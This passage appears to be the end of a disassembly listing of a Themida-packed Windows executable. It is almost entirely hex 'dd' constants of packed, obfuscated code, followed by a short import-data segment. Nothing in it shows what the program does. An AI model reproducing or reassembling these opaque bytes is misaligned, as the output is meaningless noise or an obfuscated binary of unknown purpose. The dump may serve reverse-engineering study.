		dd 8F0F4EFFh, 4, 5DADBA66h, 13E8h, 56168C00h, 93A20957h
		dd 15ECE685h, 0CD5A4E8Eh, 0B7E69E93h, 5EDF8B66h, 188B0Fh
		dd 13E90000h, 0CD000000h, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh
		dd 4898E336h, 12E9DB66h, 39000000h, 0E70C99Bh, 7311350Dh
		dd 23D188F1h, 760D89D6h, 8E8E8h, 0E2AA0000h, 0B788271Dh
		dd 8B661354h, 0B9505FC1h, 1AC7A1DEh, 20BA6659h,	0F88B660Ah
		dd 0E952F78Bh, 12h, 0FC175BAh, 0F1963367h, 41FBD675h, 0F0D5B404h
		dd 665F7FECh, 0CE9F88Bh, 0CD000000h, 4C57C3FEh,	0DC8AE976h
		dd 0E8FD6DC3h, 0Dh, 5B91AB57h, 0FA2B5098h, 8BD495FBh, 0FFBF0FC3h
		dd 0C0BF0F5Ah, 12E8h, 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah
		dd 87D7C663h, 0F88571Fh, 387h, 0FB8B6600h, 12E85Eh, 0B4E10000h
		dd 115BB830h, 11242739h, 44B6684Ch, 3E8CA6BAh, 4E76C781h
		dd 665E6030h, 895FD081h, 38E0Fh, 0B70F0000h, 0BE8CEh, 55B30000h
		dd 0C056F954h, 894E0F32h, 48F0F95h, 66000000h, 5A7E49B9h
		dd 870FCF8Ah, 2, 0EF81E68Ah, 19AAD86Fh,	13E8h, 0B94EFF00h
		dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 14E8h, 889B7200h
		dd 4C6DE0ABh, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 5F5FFC60h
		dd 4880Fh, 0B9660000h, 66604617h, 0C4BBF98Bh, 617880D0h
		dd 11E9h, 0EFDCD600h, 805189A2h, 3FAD42BCh, 540B26E1h
		dd 0E860C407h, 10h, 9F890832h, 5BAB71B6h, 0BFF311Ah, 141B547Fh
		dd 0C78166h, 0B70F5A2Ch, 80F961D7h, 8F0FFAF0h, 6, 0F69EC381h
		dd 8A0F3D82h, 17h, 10E957h, 0BBEF0000h,	0DE5E8023h, 484709E2h
		dd 0D4A6D23Fh, 575E23C2h, 12E9h, 0B50A6100h, 303F767Ah
		dd 0AEC827DDh, 92BD1157h, 5E972645h, 0CF41BA66h, 10E8h
		dd 0BEE26500h, 12958193h, 7CF8BAFEh, 32BEF332h,	0DE9EDh
		dd 79B40000h, 0C8134DC5h, 2E5CF9AAh, 5A05740Ch,	18E38166h
		dd 0FCFE8B03h, 80DEB70Fh, 0B552F0E9h, 0CE8B59A0h, 66C38B66h
		dd 81E76FBAh, 6A954AC0h, 0E4EF8144h, 0F20DC9Dh,	8Ch, 17800F00h
		dd 0E8000000h, 0Fh, 960D05Eh, 96582255h, 0EBAD7678h, 51721FBCh
		dd 5E95F5Eh, 9F000000h,	998A9437h, 0F7B70FFCh, 0CB80D18Ah
		dd 0FB0B38Eh, 281h, 81C38B00h, 0DA3BBEC3h, 0F19CB84Dh
		dd 0BF0F1303h, 0B70F56F8h, 0CF8B58F8h, 9870Fh, 890F0000h
		dd 3, 0F5F38B66h, 0F5F7BF66h, 0E5CE8160h, 5328193Ch, 13E8h
		dd 3E56BF00h, 0F9581BE8h, 94919A12h, 96978E7Ch,	63CB4D0Dh
		dd 81615A5Ah, 0A12437EAh, 8A0F500Ah, 0Eh, 8E8h,	0C7FF9D00h
		dd 0FFA5479Ch, 605F5E1Fh, 8166F560h, 61725FF7h,	70CF8166h
		dd 5852615Ch, 138F0Fh, 0EE90000h, 48000000h, 0A7348F61h
		dd 0DBFD6126h, 0F0450C55h, 76C681FCh, 8B7977F7h, 0C78166CEh
		dd 0FA8BFEBFh, 0B830Fh,	6E90000h, 0ED000000h, 8B8A5E14h
		dd 66605269h, 8166D18Bh, 6139DEE2h, 95DB815Bh, 8A6B1B0Ch
		dd 10E8F9DEh, 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h
		dd 81EA8B5Dh, 0CC108EE7h, 0FF95873h, 482h, 0F9BE6600h
		dd 0AE860AAh, 0C9000000h, 0FA37854Ah, 0C7228A2Fh, 0B7BB66C9h
		dd 0D18B593Dh, 0B0F98B61h, 0C78B665Bh, 9E4A67B8h, 13DF8054h
		dd 0D9C78166h, 92B9609Fh, 664E8777h, 24CE881h, 0B70F6061h
		dd 806061C1h, 0AE9FEE2h, 0B7000000h, 5089632Bh,	7ACA0672h
		dd 55B46195h, 14E8h, 4C48CE00h,	0E47AD3F1h, 0FE421FCCh
		dd 80A4676Ah, 92C7B509h, 6E837h, 370F0000h, 0B8CA0C84h
		dd 6E8h, 0AFBDBC00h, 5F12C484h,	830F5F5Fh, 3, 0FD78B66h
		dd 181h, 0C9B5F800h, 0CE8h, 5638E700h, 0BCBDE331h, 127D40E9h
		dd 5AC38BD6h, 6EBBBDBFh, 0BF0F5158h, 8D0F5EC0h,	18h, 10E8h
		dd 1321DF00h, 59B84EFCh, 6AAEE5BCh, 0D6BEAFF7h,	5E61603Eh
		dd 58B0Fh, 0AABE0000h, 6664CF79h, 2097E381h, 0BECE6CBAh
		dd 9E92Ch, 7F190000h, 0FE9B3852h, 52D65A81h, 0F5FF0B3h
		dd 0FE8DFB7h, 9E000000h, 4C3C8B8Fh, 1A456A5h, 17A91476h
		dd 8B0F0FFAh, 3, 58FA8B66h, 831EFBAh, 47BF663Bh, 14E943h
		dd 68D30000h, 1103C687h, 42F21711h, 6CB58C53h, 0A8E42640h
		dd 0E8607ED9h, 0Dh, 948E3B6Bh, 0E8942D33h, 93C8D201h, 11E9EBh
		dd 49F20000h, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h, 5E19E9D7h
		dd 0F3816650h, 61597B0Fh, 0BF0F15B2h, 0BE960CEh, 0A2000000h
		dd 6646C19Ah, 82277779h, 61F8589Dh, 0DE9CE8Ah, 14000000h
		dd 0A06B20Bh, 8F75F034h, 0FE13FBF8h, 60C78B66h,	7E9h, 0F2FF2200h
		dd 0C913DCFAh, 0D216F181h, 0F613833h, 168Dh, 108C0F00h
		dd 0E8000000h, 0Ah, 9DD38275h, 7A55113Fh, 605E2416h, 0EE68BA66h
		dd 0BDDF8166h, 5F536107h, 7DF38166h, 3840FCFh, 66000000h
		dd 0E950D88Bh, 13h, 0BB7CCFAAh,	0FACEA1FEh, 6B5D8F80h
		dd 0F210FABEh, 5A625AF5h, 9E9h,	0C4F2D900h, 0AF493370h
		dd 8F0F0090h, 5, 21EB3FBAh, 0E4DE8173h,	0F85E4B1Fh, 0BE9h
		dd 0C2E75100h, 938E40C4h, 8AA06A51h, 0C1C98166h, 0DE9F548h
		dd 80000000h, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 5E9h, 0C2ED8F00h
		dd 6E96A82h, 3F000000h,	3BB0FE5h, 0E9DE8A74h, 11h, 5C64ACA0h
		dd 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 0E857B27Fh, 7, 65EE01ECh
		dd 6091FD87h, 8C0Fh, 14E80000h,	0BB000000h, 20EC0373h
		dd 4D9DA96Ah, 3A0D05DBh, 0D3178887h, 5FC789C0h,	0C7815861h
		dd 3F5FF027h, 50C88B66h, 0DE8h,	0C373FB00h, 108F1D3Ah
		dd 0F12BFD71h, 8B6608F0h, 815A58C8h, 7A9393E6h,	0BFBA660Dh
		dd 0CE935h, 88190000h, 9A632649h, 37B4DE58h, 0B70FBA13h
		dd 0EBB866DAh, 0C18B66F0h, 0FE9h, 9DA77100h, 898CE7ABh
		dd 77C18D2Bh, 0F8AA31FFh, 3820Fh, 0B70F0000h, 8E8D1h, 31250000h
		dd 0EBEB1290h, 0B866D242h, 0B05E2BD4h, 5E8FC69h, 5B000000h
		dd 51B2CCA9h, 820Fh, 8A5B0000h,	0E78A50D4h, 8C0F5Fh, 81000000h
		dd 0DD2F85D8h, 5E9FC58h, 6D000000h, 282E00FCh, 0EFB2E881h
		dd 80B024F6h, 0BF08166h, 0EB816642h, 80F84DCCh,	850FECE8h
		dd 4, 71F7BB66h, 3890Fh, 0B70F0000h, 6686B3C8h,	0D180C18Bh
		dd 63D2818Dh, 606094F1h, 7E9h, 731B5100h, 32AD07E3h, 860Fh
		dd 66610000h, 0D3B4D88Bh, 0DE8B6660h, 61F28B66h, 0CE9FCh
		dd 80A40000h, 92C7B509h, 70C3B137h, 81662938h, 6682C7D8h
		dd 0BFDD6CB9h, 72E91FA1h, 0EE9h, 0DA012000h, 67EF0785h
		dd 0A05AC353h, 0E986DEDAh, 10h,	7B62B963h, 0C54A094Fh
		dd 0FEEB1710h, 0FAA8AF51h, 0FE96060h, 7000000h,	0AA0AF49Ah
		dd 0CFFAD7A3h, 56BFCE4Ch, 0E861E83Eh, 0Ch, 86984107h, 955E3966h
		dd 7BB7B5F9h, 0F606158h, 283h, 6181B100h, 5E9h,	2DB2D000h
		dd 7E816BDh, 38000000h,	65E419EBh, 0B1B27655h, 6800F5Bh
		dd 81000000h, 30C597CEh, 0F56F50Bh, 585h, 0F00FB900h, 665F60F8h
		dd 8F0FC28Bh, 4, 0E81EBA66h, 0CDEF8166h, 9E9EDh, 13460000h
		dd 772B0B9Bh, 0FC2CEB9h, 80h, 0FE8B6600h, 0BB666060h, 0D08B3B23h
		dd 1E61B861h, 0F8612AE5h, 5860Fh, 81660000h, 80643AC9h
		dd 0A8B7FFD2h, 444BB966h, 8820Fh, 890F0000h, 2,	8166CE8Ah
		dd 667CABDFh, 0B70FCB8Bh, 9E9F7h, 8770000h, 0AD56BCD4h
		dd 52B583CBh, 4B203EBFh, 9E95879h, 42000000h, 0A2DBD4E5h
		dd 4BF8C7Dh, 4820Fh, 0BF660000h, 0B86629D3h, 0F509663h
		dd 385h, 0C68B6600h, 0FE9525Bh,	0C2000000h, 6BDCB239h
		dd 0D3C5DF3Fh, 0EA5EF4CEh, 8B5B9416h, 0E08166C8h, 9E96A7Eh
		dd 0A000000h, 0EE76CB6Ah, 9B0E9CCh, 0F920EBBEh,	6CC8BB39h
		dd 8E952FAh, 6A000000h,	0FC3BE15Ah, 0BED8BCD6h,	2DD881F4h
		dd 0F961FC60h, 0DDD1EF81h, 0F53397Dh, 8B5FFFBFh, 0F1F1BACBh
		dd 816649D3h, 52385DF3h, 5E8h, 0B7B32800h, 800FBA99h, 0
		dd 8B60595Fh, 0F18B66C7h, 4FF18161h, 667E0A06h,	14E9D78Bh
		dd 0B5000000h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h
		dd 0F935C8B4h, 0BF66E1B7h, 0D88B93ADh, 8B66F88Bh, 81BFB4DEh
		dd 0B26C27C6h, 0A3BF662Bh, 8E0F49h, 0E8000000h,	10h, 0E73D4E3Bh
		dd 840C5EBEh, 0E1AD2443h, 77AA8684h, 5F72C880h,	0FE960h
		dd 880B0000h, 0D3EBFABBh, 3FB00F54h, 9A43D28Ah,	61EAB1B8h
		dd 8E9h, 0FF958C00h, 0FD90E28Fh, 6657F974h, 0F59FB8Bh
		dd 850FF7B7h, 0
		dd 5039DB80h, 0FFC98166h, 0F605B0Fh, 0EF81F7B7h, 0E3C7BDBh
		dd 0F53F561h, 665BCAB7h, 0BE66FE8Bh, 61B72EB7h,	7E1FC781h
		dd 0BE663FFFh, 8166D73Eh, 665CD8D6h, 14D4D981h,	8B2EF780h
		dd 0BEA7B7F8h, 1514A86Bh, 2A48BF66h, 0D68BDE8Ah, 0EB80F860h
		dd 0F08161E7h, 0EA0700Ah, 8D0Fh, 0B8660000h, 0AE9B176h
		dd 90000000h, 0CD28FAA6h, 0C261A569h, 11E9606Eh, 0FC000000h
		dd 33CAA931h, 0B350708Bh, 46E21DFFh, 80DA7AC1h,	0D820Fh
		dd 8E90000h, 1D000000h,	0DCE9900Eh, 619C2668h, 387EC881h
		dd 870F32B5h, 16h, 8E860h, 0B7400000h, 0D1FF579Ch, 815F94E8h
		dd 84B29AEAh, 0E9F56153h, 7, 0DF3F6BDCh, 0E9CED3C5h, 8
		dd 0D6E8533Eh, 7771AA30h, 0F4BFEFBBh, 60CA8A71h, 0A1D88166h
		dd 75B9612Dh, 566A4CBCh, 5AC18B56h, 66F0B15Fh, 14E9C78Bh
		dd 18000000h, 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh,	0E65ED801h
		dd 0F8F65BF7h, 11E952h,	9A870000h, 935FFB74h, 204F1C50h
		dd 0E24A9477h, 5E144C7Dh, 0B2465CBBh, 0D98B667Eh, 0CE9F5h
		dd 0FF020000h, 0ABD99F92h, 0E935D583h, 0DA812C8Fh, 295F8985h
		dd 5350B966h, 17DEBE66h, 653FDE81h, 0BB667568h,	80602BE9h
		dd 0B70F97E7h, 9CBF61CEh, 605990E8h, 60C18B66h,	9E8h, 0FEFB7500h
		dd 7107B7E1h, 0F5FB8AAh, 8Ah, 8B616100h, 2860FFEh, 8B000000h
		dd 820F60DFh, 3, 61F9B70Fh, 0F5EF080h, 28Ch, 52C68A00h
		dd 2880Fh, 0B60000h, 876AB85Bh,	0C1815B58h, 49ACE616h
		dd 0E870Fh, 9E90000h, 0FD000000h, 5F634140h, 26A6044Bh
		dd 0D28060F8h, 61C28B1Ah, 23F1F381h, 0ED80122Ah, 3559BA62h
		dd 61BA0593h, 0E87CD98Dh, 7, 0EEE5FC40h, 8B68AA81h, 0C0805FFBh
		dd 0FD5B232h, 8160D8B7h, 37872BD8h, 6133BA30h, 66613849h
		dd 0BF0FF18Bh, 75CA81DAh, 0F7CEADCh, 1080h, 0BE900h, 28A70000h
		dd 4704CAD0h, 3E50B9Dh,	8A0F60FEh, 2, 0BF0FF28Bh, 12E961DAh
		dd 0D8000000h, 0EAA2D60Ah, 0BED1DDE2h, 7A65A380h, 0A37A3086h
		dd 8C0FA7h, 0BF000000h,	7859C1ADh, 0E9DA8B66h, 9, 8722CA5Eh
		dd 1ACAA660h, 0B6E080AAh, 7368D881h, 9B9724Bh, 8B748074h
		dd 11E9D9h, 9940000h, 6C6D0051h, 5359918h, 0F1E276E7h
		dd 0E8DCA3E9h, 12h, 2627DB77h, 36CDCFE1h, 0A8FF9800h, 50EBE16Ah
		dd 605E7064h, 0B616C5B8h, 2800F36h, 8B000000h, 890F61F1h
		dd 13h,	0EE9h, 0A3BA6B00h, 0AB210767h, 6B377C6Bh, 0F381B88h
		dd 168Bh, 11E900h, 7CC0000h, 0FDFA98Ch,	0D2FA7095h, 5009B593h
		dd 0FA035F2h, 380h, 0C1E88000h,	0E97CCF80h, 14h, 7DD447A5h
		dd 94C747DEh, 9CF4541Ah, 7FC4CFE2h, 8EDB4017h, 0AE9C0B6h
		dd 39000000h, 0A61C1973h, 0E8B0024Eh, 0D281668Dh, 0E852FDACh
		dd 8, 871434CEh, 67ED52F2h, 1B4EB966h, 0C28B5A5Fh, 0EE8166F5h
		dd 0BE91FA5h, 59000000h, 0C3E4CF82h, 7D7CB9B5h,	8C0FAEF6h
		dd 0
		dd 58B0Fh, 81660000h, 66FCC7F2h, 0BA06F381h, 0DDAAB966h
		dd 5FBF5BB7h, 0E8101823h, 0Ch, 584A4A6Ch, 0D352302Eh, 730D342Dh
		dd 665E2CB4h, 2E3CC081h, 5860Fh, 7EBB0000h, 0F4236A6h
		dd 0F98BDFBFh, 81C2BF0Fh, 0C91A7BE8h, 0DAB70F1Eh, 0FCB8B66h
		dd 0E80h, 9E900h, 0DC970000h, 7ED5C25Eh, 0BA925A45h, 0D863E46h
		dd 180h	dup(2E338200h),	68338200h, 253h	dup(6862C6D9h)
		dd 0D326A1D9h, 60h dup(0D326A8B7h), 54ADA8B7h, 2C9h dup(54ADCFAFh)
		dd 0D17F46D7h, 0AEh dup(0D17F46D6h), 89631AD6h,	13Fh dup(8963193Dh)
		dd 39FD193Dh, 0C6h dup(39FD945Ah), 0DAFD945Ah, 2ABh dup(0DBBD1181h)
		dd 0CCCC1181h, 79Eh dup(0CCCCCCCCh), 3B8h dup(0)
Themida_	ends

; Section 5. (virtual address 001E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5E0000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start